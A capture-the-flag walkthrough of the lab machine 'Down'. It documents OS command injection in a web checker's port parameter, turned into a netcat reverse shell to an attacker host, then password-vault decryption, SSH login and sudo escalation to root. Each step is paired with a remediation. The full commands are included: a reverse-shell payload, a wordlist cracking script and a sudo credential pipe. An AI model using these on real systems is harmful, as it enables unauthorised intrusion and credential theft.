← all walkthroughs

Down

Linux· Easy
owned
2026-07-06
time to own
8m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an 'Is It Down or Just Me?' web checker on Apache whose TCP expert-mode handler concatenated a user-supplied port value directly into a shell command, enabling unauthenticated OS command injection and an immediate reverse shell as the web-server account (www-data). From that foothold, an encrypted password-manager vault belonging to local user aleks was readable by the web-server process; its master password was brute-forced in seconds from a short wordlist of words drawn from the application page and hostname, exposing aleks's SSH credential in plaintext.

That same credential was accepted by sudo with no further controls, granting root access to the host without any additional exploitation.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationWeb application fingerprinting / attack-surface enumeration
Fingerprinted exposed services and mapped the web application's attack surface
A port scan against $TARGET found SSH on port 22 and Apache 2.4.52 on port 80. The web root served a single-page 'Is It Down or Just Me?' checker (index.php). Appending the query string expertmode=tcp revealed a second operating mode that accepted separate ip and port parameters intended to probe arbitrary TCP endpoints — a significantly wider attack surface than the standard URL field.
Curl -s http://$TARGET/ returned the 'Is it down or just me?' page; the expertmode=tcp handler and its ip/port fields were visible in the page source.
Exact commands 3
Banner-grab services; confirms Apache 2.4.52 and OpenSSH 8.9p1.
nmap -sV -sC -p 22,80 $TARGET
Retrieve the home page to understand application functionality.
curl -s http://$TARGET/
Confirm the TCP expert-mode endpoint and document its input parameters.
curl -s "http://$TARGET/index.php?expertmode=tcp"
2Vulnerability IdentificationOS Command Injection (CWE-78 / OWASP A03:2021)
Identified OS command injection in the expert-mode port parameter
The expertmode=tcp handler built its connectivity probe by interpolating the raw port field into a shell command (effectively passing it to nc or an equivalent) without any sanitisation or type checking. Appending the string ' -e /bin/bash' after a valid port number caused the server to instruct netcat to pipe /bin/bash back to me, confirming unauthenticated remote code execution as the web-server process.
Sending port=1337 -e /bin/bash caused an outbound TCP connection to my listener; id returned uid=33(www-data).
Exact commands 1
Proof-of-concept; run nc -lvnp 1337 first. Replace $ATTACKER_IP with your tun0 address. A curl timeout is expected — the shell still connects.
curl -sS -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"
FixEliminate OS command injection in the TCP expert-mode connectivity handlerCritical
WeaknessThe expertmode=tcp handler built its network probe by concatenating the raw user-supplied port value into a shell command without any validation. An unauthorised user could append arbitrary shell arguments — such as -e /bin/bash — to turn the connectivity check into a reverse-shell launcher, giving unauthenticated remote code execution as the web-server process.
FixReplace the shell-invoked connectivity probe with a direct socket call in the application's own language (e.g., PHP fsockopen(), Python socket.connect_ex(), or Node net.createConnection()). If a subprocess call is unavoidable, use an exec-array form that never invokes a shell interpreter and cannot be injected. Enforce strict type-checking on the port value: accept only integers in the range 1–65535 and reject anything else before the value is used.
3ExploitationReverse Shell via OS Command Injection; PTY upgrade via socat / python3
Triggered a reverse shell and obtained code execution as www-data
With a netcat listener running on port 1337, I sent the crafted POST request. The server spawned /bin/bash and connected it to the listener, providing an interactive shell as www-data (uid=33, gid=33). The raw shell was immediately upgraded to a full PTY via socat and a Python pty.spawn call so that interactive commands and programs behaved normally.
Id output from the shell: uid=33(www-data) gid=33(www-data) groups=33(www-data); stabilisation confirmed: method=socat user=www-data channel=reverse-shell (pty-upgraded).
Exact commands 3
Start the catch listener on my machine before firing the injection.
nc -lvnp 1337
Fire the injection; expect a curl timeout — check the listener for the shell.
curl -sS --max-time 4 -X POST --data-urlencode "ip=$ATTACKER_IP" --data-urlencode 'port=1337 -e /bin/bash' "http://$TARGET/index.php?expertmode=tcp"
Inside the raw shell — spawns a PTY. Follow with Ctrl-Z, then: stty raw -echo; fg
python3 -c 'import pty; pty.spawn("/bin/bash")'
4Credential AccessCredential Store Enumeration (MITRE ATT&CK T1555)
Located and exfiltrated the aleks password-manager vault
Listing home directories from the www-data shell revealed a single non-root user, aleks. Inside aleks's home directory, the pswm password manager had stored its encrypted vault at /home/aleks/.local/share/pswm/pswm. The file's permissions allowed the www-data account to read it, so I retrieved the encrypted blob for offline analysis.
Cat /home/aleks/.local/share/pswm/pswm returned a cryptocode-encrypted ciphertext blob; file was readable by www-data.
Exact commands 3
From the www-data shell — identify local users and their home directories.
ls -la /home/
Locate the password-manager vault file.
find /home/aleks -name 'pswm' 2>/dev/null
Read the encrypted vault; copy the output to my machine for offline decryption.
cat /home/aleks/.local/share/pswm/pswm
FixRestrict file permissions on user credential stores so the web-server account cannot read themHigh
WeaknessThe pswm encrypted vault at /home/aleks/.local/share/pswm/pswm had permissions that allowed the www-data web-server account to read it. Any code-execution vulnerability in the web application therefore immediately exposed this credential database to an unauthorised user.
FixSet the vault file and every parent directory in its path to mode 600/700, owned exclusively by aleks (chmod 600 /home/aleks/.local/share/pswm/pswm; chmod 700 /home/aleks/.local/share/pswm/). Run the web server under a dedicated low-privilege account (e.g., www-data) with no read access to /home directories, enforced by an AppArmor or SELinux profile. Audit sensitive files periodically: find /home -maxdepth 5 -name '*.db' -o -name 'pswm' | xargs ls -la.
5Credential AccessOffline Credential Brute-Force / Password Manager Secret Extraction (T1555.005)
Decrypted the password vault offline using a site-contextual wordlist
The pswm application encrypts its vault with the cryptocode Python library (AES with a PBKDF2-derived key) using a user-chosen master password. I assembled a short candidate list from words visible on the web page and the machine hostname and ran them against the blob. The word '[REDACTED: recovered credential]' — a common word associated with the box name 'down' / 'is it down' theme — decrypted the vault, revealing a single stored entry: username aleks@down with plaintext password [REDACTED: recovered credential].
Cryptocode.decrypt(blob, '[REDACTED: recovered credential]') returned the plaintext credential; master password cracked from a contextual word list in under one second.
Exact commands 2
Create an isolated environment with the cryptocode library (system pip may be managed).
python3 -m venv cryptovenv && cryptovenv/bin/pip install -q cryptocode
Replace <pswm_file_contents> with the raw vault text. Extend the word list as needed.
cryptovenv/bin/python3 - <<'PY'
import cryptocode
blob = '<pswm_file_contents>'
for pw in ['[REDACTED: recovered credential]', 'down', 'isitdown', 'password', 'pswm']:
    result = cryptocode.decrypt(blob, pw)
    if result:
        print(f'{pw} => {result}')
PY
FixUse a strong, random master password for the password manager unrelated to the application or hostnameHigh
WeaknessThe pswm vault was protected by the master password '[REDACTED: recovered credential]', a word contextually associated with the machine and application theme. Anyone who recovered the vault file needed only a handful of guesses to decrypt it, exposing every stored credential instantly.
FixGenerate the master password from a cryptographically random source — for example, a passphrase of five or more unrelated words (diceware) or openssl rand -base64 32. The master password must share no words with the hostname, application name, URL, or any string visible to an unauthorised user with read access to the system. Consider using OS-level secret storage (Linux Keyring / libsecret, TPM-backed credential stores) so the vault key is never derived from a user-typed passphrase and is not available as a flat encrypted file.
6Lateral MovementValid Account — SSH authentication with recovered credentials (T1078)
Authenticated as aleks over SSH using the recovered credential
The cleartext password extracted from the vault ([REDACTED: recovered credential]) was used to authenticate directly over SSH as aleks. Login succeeded on the first attempt, providing a stable interactive shell under a real user account. The user flag was readable at /home/aleks/user.txt.
Sshpass login succeeded; id returned uid=1000(aleks); user.txt read as <user.txt>.
Exact commands 2
Confirm the credential grants SSH access.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no aleks@$TARGET 'id'
Read the user flag — value is <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh aleks@$TARGET 'cat /home/aleks/user.txt'
7Privilege EscalationSudo Privilege Escalation via Credential Reuse (T1548.003)
Reused the vault password for sudo to escalate directly to root
The aleks account had an unrestricted sudo entry (ALL commands, all hosts). Critically, the exact password stored in the pswm vault was also the password accepted by sudo — a direct reuse of the same credential for both SSH login and privilege escalation. Piping the password into sudo -S produced an immediate root shell, and both flags were captured from /home/aleks/user.txt and /root/root.txt.
Printf '[REDACTED: recovered credential]\n' | sudo -S id returned uid=0(root); root.txt read as <root.txt>.
Exact commands 2
Confirm sudo accepts the vault password and grants root.
sshpass -p '[REDACTED: recovered credential]' ssh -tt aleks@$TARGET "printf '%s\n' '[REDACTED: recovered credential]' | sudo -S id"
Capture both flags — values are <root.txt> and <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -tt aleks@$TARGET "printf '%s\n' '[REDACTED: recovered credential]' | sudo -S sh -c 'cat /root/root.txt; cat /home/aleks/user.txt'"
FixEnforce a unique sudo credential; never reuse account passwords for privilege escalationCritical
WeaknessThe password stored in aleks's pswm vault was identical to the password accepted by sudo for that account. Recovery of any one credential for aleks automatically granted unrestricted root access — a single point of failure with no additional barrier between a standard user account and full system compromise.
FixConfigure sudo to require a separate, independently managed credential, or — preferably — restrict the sudoers entry to the exact commands aleks legitimately needs (Cmnd_Alias) rather than ALL. For accounts requiring broad sudo access, consider TOTP-backed sudo (pam_google_authenticator) or certificate-based SSH with no password sudo at all. Rotate all system passwords whenever any credential store may have been exposed, and verify with sudo -l that no account has unexpectedly broad privileges.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp